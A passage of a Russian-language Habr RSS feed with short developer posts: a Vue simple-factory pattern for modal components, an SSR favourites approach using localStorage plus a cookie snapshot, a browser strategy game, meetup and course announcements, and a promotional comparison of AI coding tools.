антипримеры резюме, даст советы и лайфхаки по сопроводительным письмам, а главное —&nbsp;расскажет, как дотянуться до рекрутера в настоящих условиях найма.&nbsp;<br><em>14.05 / 19.45-20.45 / зал 1 (keynote)</em></p><p>Приходите на&nbsp;<a href="https://holyjs.ru" rel="noopener noreferrer nofollow">Holy JS</a>, ждем в зале и на нетворке!</p> <a href="https://habr.com/ru/posts/1032692/?utm_campaign=1032692&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Fri, 08 May 2026 08:02:35 GMT</pubDate>
    <dc:creator><![CDATA[Dalee_group (Далее)]]></dc:creator>
      
      <category><![CDATA[карьера ит-специалиста]]></category><category><![CDATA[карьера в it]]></category><category><![CDATA[карьера в it-индустрии]]></category><category><![CDATA[резюме it-специалиста]]></category><category><![CDATA[резюме разработчка]]></category><category><![CDATA[резюме]]></category><category><![CDATA[javascript]]></category><category><![CDATA[fsd]]></category><category><![CDATA[holyjs]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @Stugi — VueJS (+1) — 04.05.2026 17:58]]></title>
    <guid isPermaLink="true">https://habr.com/ru/posts/1031332/</guid>
    <link>https://habr.com/ru/posts/1031332/?utm_campaign=1031332&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<figure class="full-width "><img src="https://habrastorage.org/getpro/habr/upload_files/521/eec/67e/521eec67e5cf3bbe78fc65a402fcd48d.png" width="1122" height="1402"></figure><p>Долгое время думала, что использовать паттерны на фронте незачем и это больше тема для собесов</p><p>Но недавно все-таки удалось использовать паттерн фабрику для фронта и моему счастью не было предела, когда после 30-минутного рефакторинга разъехавшейся вёрстки через Claude, я попросила: "брат, слушай это ж паттерн фабрика, сделай BaseModal тонким, который просто решает, какой компонент отрисовать"</p><blockquote><p>Технически, классический GoF Factory Method подразумевает наследование, а здесь у меня скорее Simple Factory — функция, выбирающая что создать. Но в обиходе все называют это "фабрикой", и я не буду усложнять.</p></blockquote><p><strong>Классический паттерн фабрика на Java: </strong></p><pre><code class="java">// Интерфейс
interface Modal {
    void open();
    void close();
}

// Конкретные реализации
class Dialog implements Modal { ... }
class BottomSheet implements Modal { ... }
class FullscreenSheet implements Modal { ... }

// Фабрика — решает какой класс создать
class ModalFactory {
    static Modal create(String type, boolean isMobile) {
        if (!isMobile) return new Dialog();

        return switch (type) {
            case "bottom-sheet" -&gt; new BottomSheet();
            case "fullscreen"   -&gt; new FullscreenSheet();
            default             -&gt; new Dialog();
        };
    }
}

// Использование
Modal modal = ModalFactory.create("bottom-sheet", isMobile);
modal.open();</code></pre><p><strong>Как это работает во Vue?</strong></p><blockquote><p>На фронте есть <code>&lt;component :is="..."/&gt;</code> - динамический компонент, который рендерит то, что ему передадут. Это и есть наш аналог <code>ModalFactory.create(...)</code>.</p></blockquote><pre><code class="typescript">&lt;!-- BaseModal.vue — фабрика --&gt;
&lt;template&gt;
    &lt;component
        :is="modalComponent"
        v-bind="$props"
        @close="emit('close')"
    &gt;
        &lt;slot /&gt;
    &lt;/component&gt;
&lt;/template&gt;

&lt;script setup&gt;

// Фабричный метод — выбирает компонент
const modalComponent = computed(() =&gt; {
    // Desktop → всегда Dialog (центрированный)
    if (!isMobile.value) return BaseDialog

    // Mobile → зависит от mobileStyle
    switch (props.mobileStyle) {
        case 'fullscreen':
            return BaseFullscreenSheet
        case 'bottom-sheet':
            return BaseBottomSheet
        default:
            return BaseDialog
    }
})
&lt;/script&gt;</code></pre><p>Получился <code>BaseModal</code>, который сам почти ничего не делает.</p><p>Он не знает, как устроен dialog.<br> Не знает, как анимируется bottom sheet.<br> Не знает, как выглядит fullscreen-модалка.</p><p>Он просто маршрутизирует:</p><pre><code>BaseModal.vue  
  ├─ BaseDialog.vue    
  ├─ BaseBottomSheet.vue    
  └─ BaseFullscreenSheet.vue  </code></pre><p>А каждая конкретная реализация живёт отдельно и отвечает только за себя.</p><p><strong>Почему это лучше, чем один большой компонент?</strong></p><p>Потому что большой универсальный компонент очень быстро превращается в кашу:</p><pre><code class="xml">&lt;!-- Каша в template --&gt;
&lt;div
    class="modal"
    :class="{
        'modal--open': open,
        'modal--mobile': isMobile,
        'modal--desktop': !isMobile,
        'modal--fullscreen': isMobile &amp;&amp; mobileStyle === 'fullscreen',
        'modal--bottom-sheet': isMobile &amp;&amp; mobileStyle === 'bottom-sheet',
    }"
&gt;</code></pre><p>А потом туда добавляются:</p><ul><li><p> разные анимации</p></li><li><p> разные отступы и размеры</p></li><li><p> разное поведение закрытия</p></li><li><p> разные transition</p></li><li><p> разные layout-правила</p></li></ul><p>И компонент, который должен был быть базовой модалкой, внезапно становится местом, куда страшно заходить.</p><p>С фабрикой проще:</p><ul><li><p><code>BaseDialog</code> отвечает за centered dialog</p></li><li><p><code>BaseBottomSheet</code> отвечает за bottom sheet</p></li><li><p><code>BaseFullscreenSheet</code> отвечает за fullscreen</p></li><li><p><code>BaseModal</code> только выбирает, что показать</p></li></ul><p>То есть вместо одного монолита появляется тонкий слой выбора и несколько изолированных компонентов.</p><p>И кстати, поделитесь: насколько паттерны актуальны сейчас? Или про них всё рассказали 20 лет назад и хватит говорить о них?<br><br></p> <a href="https://habr.com/ru/posts/1031332/?utm_campaign=1031332&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Mon, 04 May 2026 14:58:47 GMT</pubDate>
    <dc:creator><![CDATA[Stugi]]></dc:creator>
      
      <category><![CDATA[vue]]></category><category><![CDATA[pattern]]></category><category><![CDATA[gof]]></category><category><![CDATA[simple factory]]></category><category><![CDATA[паттерны на фронте]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @plaksina_ekaterina20 — Блог компании Далее (+1) — 30.04.2026 11:28]]></title>
    <guid isPermaLink="true">https://habr.com/ru/companies/dalee_group/posts/1029980/</guid>
    <link>https://habr.com/ru/companies/dalee_group/posts/1029980/?utm_campaign=1029980&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<p><strong><abbr class="habraabbr" title="" data-title="&lt;p&gt;&lt;/p&gt;" data-abbr="Как настроить доступ к Избранному — без ЛК и авторизации на сайте">Как настроить доступ к Избранному — без ЛК и авторизации на сайте</abbr></strong></p><figure class="full-width "><img src="https://habrastorage.org/getpro/habr/upload_files/48c/19b/528/48c19b528eaa3fc82bafd9b88fafb4be.png" width="1664" height="928"></figure><p>Привет, Хабр! Меня зовут Катя Плаксина, я фронтенд-разработчик в <a href="https://clck.ru/3TNF6b" rel="noopener noreferrer nofollow">Далее</a>. Хочу поделиться решением, которое позволило реализовать возможность сохранения в Избранное без авторизации для пользователей одного крупного портала. <br><br>Почему стало необходимо реализовать такое решение? Во-первых, необходимость авторизации —&nbsp;одна из причин высоких отказов на сайте. Таким образом, мы просто облегчаем путь пользователя до цели. Во-вторых, без авторизации мы не собираем персональные данные, а значит, минимизируем риски, связанные с их хранением и передачей.</p><p><strong>В чем технический вызов</strong></p><p>Если страница работает через SSR, например, на Astro, серверу нужны данные заранее. Но если весь «источник правды» лежит в localStorage, сервер их не видит — браузерное хранилище доступно только на клиенте.&nbsp;</p><p>Без дополнительной логики страница будет рендериться пустой или требовать авторизации и бэкенда. Нужен промежуточный слой, который позволит передать минимальное состояние Избранного на сервер.</p><p><strong>Разделяем хранилище на два слоя</strong></p><p>Полный стейт Избранного остается в localStorage — там можно хранить существенно больше данных, чем в cookie, и удобно управлять состоянием на клиенте.&nbsp;</p><p>Легкий SSR-снапшот размещаем в cookie, кладем только <code>favorites_preview:</code></p><ul><li><p>первые 3–4 ID в каждой категории,</p></li><li><p>активные теги,</p></li><li><p>размер.</p></li></ul><p>Сервер читает cookie и рендерит превью Избранного.</p><p><strong>Что происходит после гидратации</strong></p><p>Когда страница загрузилась, клиент сравнивает cookie и localStorage, дотягивает расхождения, корректно показывает или скрывает пустые состояния.</p><p>Чтобы избежать ошибок:</p><ul><li><p>Добавляем mounted-флаг — не используем браузерные API во время SSR.</p></li><li><p>Настраиваем синхронизацию между вкладками через системное событие storage.</p></li><li><p>Используем кастомное событие <code>favorites:changed</code> для текущей вкладки. Storage в ней не срабатывает.</p></li></ul><p>В итоге состояние Избранного остается консистентным во всех вкладках.</p><p><strong>Почему не хранить всё только в cookie</strong></p><p>Можно было ограничиться одним механизмом — хранить Избранное полностью в cookie. Но у такого подхода есть явные минусы:</p><ul><li><p>cookie ограничены по объему,</p></li><li><p>перегрузка HTTP-запросов,</p></li><li><p>неудобное управление состоянием на клиенте.</p></li></ul><p>Если хранить всё только в cookie, страдают производительность и масштабируемость решения.</p><p><strong>Что получаем в итоге</strong></p><ul><li><p>На клиенте остается полноценное управление состоянием через localStorage.</p></li><li><p>Страница рендерится сразу с данными. Сервер читает легкий снэпшот из cookie и формирует превью избранного ещё до загрузки клиента.</p></li></ul><p>Пользователь может вернуться к Избранному даже на следующий день — при заходе с того же устройства и браузера.<br><br>Буду рада узнать о вашем опыте реализации подобных задач в комментариях. </p> <a href="https://habr.com/ru/posts/1029980/?utm_campaign=1029980&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Thu, 30 Apr 2026 08:28:44 GMT</pubDate>
    <dc:creator><![CDATA[plaksina_ekaterina20 (Далее)]]></dc:creator>
      
      <category><![CDATA[ssr]]></category><category><![CDATA[cookies]]></category><category><![CDATA[astro]]></category><category><![CDATA[javascript]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @GaryAnikin — JavaScript (+4) — N/P]]></title>
    <guid isPermaLink="true">https://habr.com/ru/posts/1026948/</guid>
    <link>https://habr.com/ru/posts/1026948/?utm_campaign=1026948&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<p>текст перенесён в корпоративный блог <br><a href="https://habr.com/ru/companies/habr_rutube/articles/1028574/" rel="noopener noreferrer nofollow">https://habr.com/ru/companies/habr_rutube/articles/1028574/</a></p> <a href="https://habr.com/ru/posts/1026948/?utm_campaign=1026948&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Sat, 25 Apr 2026 11:34:42 GMT</pubDate>
    <dc:creator><![CDATA[GaryAnikin]]></dc:creator>
      
      <category><![CDATA[визуализация]]></category><category><![CDATA[звук]]></category><category><![CDATA[webaudio]]></category><category><![CDATA[javascript]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @azTotMD — Игры и игровые консоли (+2) — 23.04.2026 23:20]]></title>
    <guid isPermaLink="true">https://habr.com/ru/posts/1027248/</guid>
    <link>https://habr.com/ru/posts/1027248/?utm_campaign=1027248&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<figure class="full-width "><img src="https://habrastorage.org/getpro/habr/upload_files/0fc/f53/855/0fcf5385568408d52832812a86d3d9ce.jpg" alt="Герое-подобная игра в браузере" title="Герое-подобная игра в браузере" width="955" height="661"><div><figcaption>Герое-подобная игра в браузере</figcaption></div></figure><p>Поскольку в голосовании в предыдущей <a href="https://habr.com/ru/articles/1016298/" rel="noopener noreferrer nofollow">статье </a>победил вариант с AI, сделал пока простенький его вариант.</p><p>Также теперь можно кликать два раза по гексу с противником, чтобы атаковать его (старый способ с выбором позиции атаки остался). Тачи поддерживаются.</p><p>На очереди: стрелки, летуны и статичные объекты.</p><p>Ссылки, чтоб потыкать: <a href="https://nheroes.netlify.app/" rel="noopener noreferrer nofollow">netlify</a>, <a href="https://titanplayers.itch.io/heroes" rel="noopener noreferrer nofollow">ITCH</a>.</p> <a href="https://habr.com/ru/posts/1027248/?utm_campaign=1027248&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Thu, 23 Apr 2026 20:20:16 GMT</pubDate>
    <dc:creator><![CDATA[azTotMD]]></dc:creator>
      
      <category><![CDATA[герои]]></category><category><![CDATA[герои 2]]></category><category><![CDATA[герои 3]]></category><category><![CDATA[heroes]]></category><category><![CDATA[heroes might and magic]]></category><category><![CDATA[стратегия]]></category><category><![CDATA[тактические игры]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @PechoraDev — PHP (+2) — 22.04.2026 20:43]]></title>
    <guid isPermaLink="true">https://habr.com/ru/posts/1026750/</guid>
    <link>https://habr.com/ru/posts/1026750/?utm_campaign=1026750&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<p><strong>Мультиязычность. Ад для разработчика. </strong></p><p>Сейчас для моего движка понадобилась мультиязычность. Ну как понадобилась - на гитхабе прозрачно намекнули, что негоже одной гордой cms для ведения блога быть сугубо на русском языке. </p><p><strong>И понеслась...</strong></p><figure class="full-width "><img src="https://habrastorage.org/getpro/habr/upload_files/e8e/f02/615/e8ef026154f5ed0bc2318694b326f0b5.png" alt="Процесс перевода движка" title="Процесс перевода движка" width="1920" height="943"><div><figcaption>Процесс перевода движка</figcaption></div></figure><p>Это хорошо, что сейчас есть нейросети и они здорово упрощают процесс перевода. Но - по старинке все делаю вручную, каждый файл...Сначала размечаю обыкновенными дефайнами либо класс контроллера, либо шаблона, ну а потом выношу это все в соответствующие языковые папки. </p><p>Вайбкодеры меня наверняка закидали бы тапками, мол - все можно автоматизировать и перевести хоть тонну файлов за 20 минут. Но - мне это не в кайф =) </p><p>Кто хочет помочь в процессе перевода, а заодно и движок потестить - милости прошу: <a href="https://github.com/pechoradev/BloggyCms" rel="noopener noreferrer nofollow">https://github.com/pechoradev/BloggyCms</a></p> <a href="https://habr.com/ru/posts/1026750/?utm_campaign=1026750&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Wed, 22 Apr 2026 17:43:04 GMT</pubDate>
    <dc:creator><![CDATA[PechoraDev]]></dc:creator>
      
      <category><![CDATA[cms]]></category><category><![CDATA[мультиязычность]]></category><category><![CDATA[перевод]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @denis-19 — JavaScript (+4) — 15.04.2026 14:24]]></title>
    <guid isPermaLink="true">https://habr.com/ru/posts/1023764/</guid>
    <link>https://habr.com/ru/posts/1023764/?utm_campaign=1023764&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<p>Вышла <a href="https://github.com/felixrieseberg/windows95/releases/tag/v5.0.1" rel="noopener noreferrer nofollow">пятая версия</a> открытого проекта <a href="https://github.com/felixrieseberg/windows95" rel="noopener noreferrer nofollow">windows95</a> с исходным кодом полностью на JavaScript. «Это Windows 95, работающая в&nbsp;приложении Electron. Да, это полная версия. Извините»,&nbsp;— пояснил разработчик решения.</p><p>Проект работает в Windows, а также на macOS и Linux, что подарит вам ностальгию или возможность обойти ограничения старой операционной системы независимо от вашей текущей платформы. </p><figure class="full-width "><img src="https://habrastorage.org/getpro/habr/upload_files/dc3/e47/49f/dc3e4749fcfd2dda547a23c90c597a37.png" width="780" height="763"></figure> <a href="https://habr.com/ru/posts/1023764/?utm_campaign=1023764&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Wed, 15 Apr 2026 11:24:31 GMT</pubDate>
    <dc:creator><![CDATA[denis-19]]></dc:creator>
      
      <category><![CDATA[windows95]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @Rombneromb — Блог компании X5 Tech — N/P]]></title>
    <guid isPermaLink="true">https://habr.com/ru/companies/X5Tech/posts/1019838/</guid>
    <link>https://habr.com/ru/companies/X5Tech/posts/1019838/?utm_campaign=1019838&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<figure class="full-width "><img src="https://habrastorage.org/getpro/habr/upload_files/c2f/a92/f79/c2fa92f797183053d1020d89f8ea4791.png" width="1420" height="1080"></figure><p>Вместе с сообществом <a href="https://t.me/moscowjs" rel="noopener noreferrer nofollow">Moscow JS</a> приготовили классную <strong>программу с двумя потоками докладов</strong> про:</p><ul><li><p>performance и масштабирование фронтенда, </p></li><li><p>внедрение LLM в продукты и процессы, </p></li><li><p>изменение инженерной практики и культуры</p></li></ul><p>От X5 Tech — сразу два прикладных кейса:</p><ul><li><p>Как внедрять LLM в прод без перестройки архитектуры</p></li><li><p>Web-First в мобильных приложениях: офлайн, файлы, Workbox и ключевые подводные камни</p></li></ul><p>Для тех, кто хочет поучаствовать в дискуссии — круглый стол с холиварами про переход на «бигтех-рельсы».</p><p>📆 30 апреля, 18:30<br>Москва, Мясницкая, 13, с20</p><p>🔗 <a href="https://moscowjs.timepad.ru/event/3880642/?utm_source=moscowjs_site&amp;utm_medium=website&amp;utm_campaign=mjs70&amp;utm_content=registration_70habr" rel="noopener noreferrer nofollow">Регистрация по ссылке</a></p><p><strong>Программа:</strong></p><p><strong>«Перформанс без головной боли: Системная оптимизация фронтенда в большой команде» (</strong><em>Мирзоев Руслан,&nbsp;Premier.one</em><strong>)</strong></p><p>Доклад основан на реальном опыте команды из 24 разработчиков, столкнувшихся с критическими показателями LCP. Мы разберем комплексный подход к ускорению продукта: от «фундамента» (анализ бандла, Tree Shaking и борьба с циклическими зависимостями) до продвинутых стратегий рендеринга, таких как ISR и оптимизация внутренних запросов при SSR (перевод на internal hosts).</p><p>Вы получите набор готовых рецептов по работе с ассетами (SVG, шрифты, сжатие) и узнаете, как выстроить культуру производительности с помощью Performance Budgets, чтобы предотвратить регрессии в будущем</p><p><strong>«Веб-компоненты: плохая реализация хорошей идеи» (</strong><em>Евгений Кучерявый,&nbsp;larana.tech</em><strong>)</strong></p><p>Разберёмся, почему веб-копмоненты не прижились, что нужно сделать, чтобы это исправить, и есть ли им место в современной фронтенд-разработке.</p><p><strong>«LLM в продакшене: от идеи до внедрения за неделю» (</strong><em>Артем Шкуренко,&nbsp;Х5 Tech</em><strong>)</strong></p><p>Интеграция языковых моделей в существующие продукты не требует масштабных изменений архитектуры. Покажу практические паттерны — от прямой интеграции через API до выделенных сервисов, которые позволяют запускать AI-функциональность за считанные дни.</p><p>В докладе — реальные кейсы: интеллектуальные таблицы, ассистенты и аналитика, а также разбор ключевых вызовов — контроль качества, предсказуемость результатов и стабильность работы.</p><p><strong>«Вторая жизнь инженерных практик: как ИИ делает сложные подходы наконец-то удобными» (</strong><em>Вадим Царегородцев,&nbsp;Frontend Guild Lead в островке</em><strong>)</strong></p><p>За последние годы индустрия накопила множество инженерных практик: ADR, Clean Architecture, TDD, архитектурные границы, строгие правила зависимостей.</p><p>Многие из них отличные на уровне идей, но на практике часто оказываются слишком дорогими и трудоёмкими: требуют много документации, boilerplate-кода и ручного контроля правил.</p><p>Появление LLM меняет эту ситуацию.</p><p>Интересно, что ИИ не столько создаёт новые подходы, сколько делает жизнеспособными старые идеи, которые раньше было сложно применять из-за высокой стоимости их поддержки.</p><p>В докладе я покажу несколько реальных примеров из production-разработки, где привычные инженерные практики получили вторую жизнь благодаря ИИ.</p><p><strong>«А доки где? Пишем продуктовую документацию» (</strong><em>Егор Левченко,&nbsp;Wildberries &amp; Russ</em><strong>)</strong></p><p>У вас самый крутой уникальный продукт или сервис на рынке, вы знаете наверняка, что он делает и как им пользоваться. А понятен ли он вашему клиенту? Надо написать документацию, но как? Давайте разберёмся, чтобы потом не было больно.</p><p><strong>«Секретная жизнь фотографий в Клубе Тайных Покупателей X5» (</strong><em>Артур Басак,&nbsp;Х5 Tech</em><strong>)</strong></p><p>Поговорим о подходе Web-First в мобильных приложениях. В частности о том, как работать с файлами, про удобство и ограничения Workbox, нюансы оффлайн-режима и о какие подводные камни можно споткнуться.</p><p><strong>Инженерная культура и переход на «бигтех-рельсы»</strong></p><p><strong>Круглый стол с экспертами:</strong> <em>Глеб Михеев, Роман Троицкий</em> <strong>(</strong>состав уточняется…<strong>)</strong></p><p><strong>Модератор:</strong>&nbsp;<em>Иван Сизов, техлид фронтенд X5 Digital</em></p> <a href="https://habr.com/ru/posts/1019838/?utm_campaign=1019838&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Mon, 06 Apr 2026 12:28:37 GMT</pubDate>
    <dc:creator><![CDATA[Rombneromb (X5 Tech)]]></dc:creator>
      
      <category><![CDATA[llm]]></category><category><![CDATA[mobile development]]></category><category><![CDATA[архитектура]]></category><category><![CDATA[инженерные практики]]></category><category><![CDATA[фронтенд]]></category><category><![CDATA[митап]]></category><category><![CDATA[доклады]]></category><category><![CDATA[веб-компоненты]]></category><category><![CDATA[продуктовая документация]]></category><category><![CDATA[webview]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @erbanovanastasia — Блог компании Selectel (+4) — N/P]]></title>
    <guid isPermaLink="true">https://habr.com/ru/companies/selectel/posts/1018970/</guid>
    <link>https://habr.com/ru/companies/selectel/posts/1018970/?utm_campaign=1018970&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<p><strong>Вторая часть курса по JavaScript уже доступна</strong> 💻</p><figure class="full-width "><img src="https://habrastorage.org/getpro/habr/upload_files/77c/0c0/cac/77c0c0cacc0c6e8c0457a3455027e578.png" width="1999" height="664"></figure><p>Привет, Хабр! Массивы, объекты, операторы, DOM — если вы еще не работаете с ними, проходите бесплатный курс «<a href="https://study.selectel.ru/javascript_course/?utm_source=habr.com&amp;utm_medium=referral&amp;utm_campaign=course_post_javascript_030425" rel="noopener noreferrer nofollow">Первые шаги в JavaScript</a>». Во время обучения вы освоите базовый синтаксис и конструкции языка, а затем напишете пет-проект. &nbsp;</p><p>Вторая часть состоит из пяти модулей. После курса вы сможете:</p><ul><li><p>изучать более продвинутые фреймворки и библиотеки;</p></li><li><p>понимать архитектуру простых веб-приложений;</p></li><li><p>писать скрипты, управлять DOM и изменять интерфейс веб-страниц.</p></li></ul><p>Осваивайте практические навыки с помощью IT-инфраструктуры Selectel — промокод на бесплатный доступ уже ждет на курсе. После успешного прохождения финального теста пришлем именной сертификат.</p><p><strong><a href="https://study.selectel.ru/javascript_course/?utm_source=habr.com&amp;utm_medium=referral&amp;utm_campaign=course_post_javascript_030425" rel="noopener noreferrer nofollow">Начните обучение прямо сейчас →</a></strong></p> <a href="https://habr.com/ru/posts/1018970/?utm_campaign=1018970&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Fri, 03 Apr 2026 12:53:03 GMT</pubDate>
    <dc:creator><![CDATA[erbanovanastasia (Selectel)]]></dc:creator>
      
      <category><![CDATA[selectel]]></category><category><![CDATA[курс]]></category><category><![CDATA[обучение]]></category><category><![CDATA[разработка]]></category><category><![CDATA[js]]></category><category><![CDATA[javascript]]></category><category><![CDATA[бесплатные курсы]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @preciousvictory106 — JavaScript (+4) — 01.04.2026 07:37]]></title>
    <guid isPermaLink="true">https://habr.com/ru/posts/1017778/</guid>
    <link>https://habr.com/ru/posts/1017778/?utm_campaign=1017778&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<p><strong><a href="https://cursor.com/" rel="noopener noreferrer nofollow">Cursor</a> или <a href="https://t.me/harvi_pro" rel="noopener noreferrer nofollow">Harvi Code</a>: какой ИИ для кодинга в 2026 году реально работает в России без VPN и головной боли с платежами</strong></p><p><em>В 2026 году почти каждый разработчик в России стоит перед одним и тем же выбором: </em>хочешь мощный ИИ, который реально ускоряет разработку, или хочешь, чтобы всё работало просто, без посредников и ежемесячных нервов с оплатой.</p><p><strong><a href="https://cursor.com/" rel="noopener noreferrer nofollow">Cursor</a></strong> — это сейчас, пожалуй, самый продвинутый AI-редактор на рынке. По сути, это VS Code, в который встроили настоящий искусственный интеллект на стероидах. Composer позволяет одной командой править сразу десяток файлов, агент понимает весь проект, хорошо справляется с рефакторингом, поиском багов и даже архитектурными решениями. Качество кода от Claude Sonnet 4.5 или свежих GPT часто вызывает искреннее «вау».</p><p>Но есть большая ложка дёгтя. <a href="https://cursor.com/" rel="noopener noreferrer nofollow">Cursor</a> — американский продукт, и российские карты он не принимает. Чтобы купить подписку Pro, приходится либо использовать виртуальные карты через крипту, либо платить посредникам (Oplatym и подобные), либо покупать готовые аккаунты (что рискованно). Сам редактор после оплаты работает без VPN, но первоначальная настройка оплаты — это отдельный квест. Бесплатная версия быстро упирается в лимиты, особенно если активно юзаешь мощные модели.</p><p><strong><a href="https://t.me/harvi_pro" rel="noopener noreferrer nofollow">Harvi Code</a></strong><a href="https://t.me/harvi_pro" rel="noopener noreferrer nofollow"> </a>— <strong>Первый в России AI кодинг-агент</strong>. Российский ответ на все эти заморочки. Это полноценный AI-агент прямо внутри VS Code. Пишешь задачу в чате — он генерит код, рефакторит, фиксит баги, работает с контекстом всего проекта. Не тормозит, контекст держит хорошо, интерфейс привычный.</p><p>Самое приятное — модели на любой бюджет. Есть топовые (Claude Sonnet 4.5, GPT-5.4 и другие). <strong>А главное — очень низкая стоимость токенов</strong>. Для каждой модели есть свой коэффициент стоимости. Для большинства повседневных задач их хватает с головой, и можно вообще почти не тратить деньги. Оплата — российскими картами или СБП, без всяких посредников и VPN.</p><p><strong>Коротко по делу:</strong></p><ul><li><p>Если тебе нужен мощный <strong>multi-file agent </strong>и ты готов один раз настроить оплату через проверенного посредника — бери <strong>Cursor</strong>. Он до сих пор в топе по возможностям.</p></li><li><p>Если хочешь работать стабильно, без лишних телодвижений и не думать каждый месяц про «как бы оплатить» — <strong><a href="https://t.me/harvi_pro" rel="noopener noreferrer nofollow">Harvi Code</a></strong> сейчас выглядит гораздо практичнее для российского разработчика.</p></li></ul><p>А вы как сейчас кодите с ИИ? Пробовали оба варианта? Что в итоге оставили в основном редакторе? Пишите в комментариях, интересно почитать реальный опыт.</p> <a href="https://habr.com/ru/posts/1017778/?utm_campaign=1017778&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Wed, 01 Apr 2026 04:37:20 GMT</pubDate>
    <dc:creator><![CDATA[preciousvictory106]]></dc:creator>
      
      <category><![CDATA[ИИ]]></category><category><![CDATA[Кодинг Агент]]></category><category><![CDATA[разработка]]></category><category><![CDATA[автоматизация]]></category><category><![CDATA[искусственный интеллект]]></category><category><![CDATA[нейросети]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @El_Gato_Grande — Блог компании Selectel (+4) — N/P]]></title>
    <guid isPermaLink="true">https://habr.com/ru/companies/selectel/posts/1015904/</guid>
    <link>https://habr.com/ru/companies/selectel/posts/1015904/?utm_campaign=1015904&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
    <description><![CDATA[<p><strong>Обновления в подборках обучающих материалов и курсов от Selectel</strong></p><figure class="full-width "><img src="https://habrastorage.org/getpro/habr/upload_files/94a/4a6/ec7/94a4a6ec722a13a2accba633d2595f30.png" width="1191" height="669"></figure><p>Привет, Хабр! На дворе пятница, а значит, пришло время для нашей нерегулярной рубрики с полезными материалами для новичков. Как всегда, все бесплатно, учитесь и развивайтесь. И вот с чем я сегодня пришел.</p><ul><li><p><a href="https://selectel.ru/blog/courses/start-with-ml/?utm_source=habr.com&amp;utm_medium=referral&amp;utm_campaign=academy_post_coursesselection_270326_content" rel="noopener noreferrer nofollow">Начало работы с ML-моделями</a>. Это подборка статей в Академии Selectel. Изучите базу по алгоритмам, научитесь подбирать железо и настраивать инфраструктуру и мое любимое — подборка в подборке — узнаете, что еще полезного по теме можно почитать/посмотреть.</p></li><li><p><a href="https://study.selectel.ru/mobiletesting_course?utm_source=habr.com&amp;utm_medium=referral&amp;utm_campaign=academy_post_coursesselection_270326_content" rel="noopener noreferrer nofollow">Тестирование мобильных приложений</a>. Это уже полноценный курс с теорией, тестами и практическими заданиями. Кстати, практика — это прямо практика. Вы получите возможность бесплатно поработать с&nbsp;реальными устройствами в мобильной ферме Selectel, а не упражняться только в эмуляторах. Буквально на этой неделе мы запустили вторую часть курса, так что если вы уже начали его изучение, самое время продолжить.</p></li><li><p><a href="https://study.selectel.ru/javascript_course?utm_source=habr.com&amp;utm_medium=referral&amp;utm_campaign=academy_post_coursesselection_270326_content" rel="noopener noreferrer nofollow">Первые шаги в&nbsp;JavaScript</a>. Этот курс ориентирован на фронтенд-разработчиков уровня junior, веб-дизайнеров и тех, кто только делает первые шаги в программировании. Кстати, буквально на днях этот курс будет расширен, так что не пропустите. Начать изучение первых уроков можно уже сейчас.</p></li></ul> <a href="https://habr.com/ru/posts/1015904/?utm_campaign=1015904&amp;utm_source=habrahabr&amp;utm_medium=rss">Читать дальше &rarr;</a>]]></description>
      
    <pubDate>Fri, 27 Mar 2026 11:30:17 GMT</pubDate>
    <dc:creator><![CDATA[El_Gato_Grande (Selectel)]]></dc:creator>
      
      <category><![CDATA[selectel]]></category><category><![CDATA[javascript]]></category><category><![CDATA[ml]]></category><category><![CDATA[qa]]></category><category><![CDATA[тестирование]]></category><category><![CDATA[фронтенд]]></category><category><![CDATA[обучение]]></category><category><![CDATA[курсы]]></category>
  </item>
  

	
  

  

  

    

  

  
  <item>
    <title><![CDATA[Пост @Gen-7 — .NET (+3) — 24.03.2026 16:24]]></title>
    <guid isPermaLink="true">https://habr.com/ru/posts/1014380/</guid>
    <link>https://habr.com/ru/posts/1014380/?utm_campaign=1014380&amp;utm_source=habrahabr&amp;utm_medium=rss</link>
